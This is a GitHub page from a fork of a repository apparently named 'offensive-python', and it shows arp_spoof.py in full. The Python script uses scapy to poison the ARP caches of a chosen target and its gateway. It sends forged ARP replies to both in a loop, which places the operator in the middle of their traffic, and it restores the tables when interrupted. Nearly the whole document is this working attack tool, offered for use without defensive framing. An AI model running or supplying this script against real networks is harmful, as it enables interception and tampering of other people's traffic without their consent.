forked from shrestha-tripathi/offensive-python
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy patharp_spoof.py
More file actions
48 lines (39 loc) · 1.54 KB
/
arp_spoof.py
File metadata and controls
48 lines (39 loc) · 1.54 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
import scapy.all as scapy
import argparse
import time
import sys
def get_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", dest="target", help="Specify target ip")
parser.add_argument("-g", "--gateway", dest="gateway", help="Specify spoof ip")
return parser.parse_args()
def get_mac(ip):
arp_packet = scapy.ARP(pdst=ip)
broadcast_packet = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_broadcast_packet = broadcast_packet/arp_packet
answered_list = scapy.srp(arp_broadcast_packet, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
scapy.send(packet, 4)
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
arguments = get_arguments()
sent_packets = 0
try:
while True:
spoof(arguments.target, arguments.gateway)
spoof(arguments.gateway, arguments.target)
sent_packets+=2
print("\r[+] Sent packets: " + str(sent_packets)),
sys.stdout.flush()
time.sleep(2)
except KeyboardInterrupt:
print("\n[-] Ctrl + C detected.....Restoring ARP Tables Please Wait!")
restore(arguments.target,arguments.gateway)
restore(arguments.gateway, arguments.target)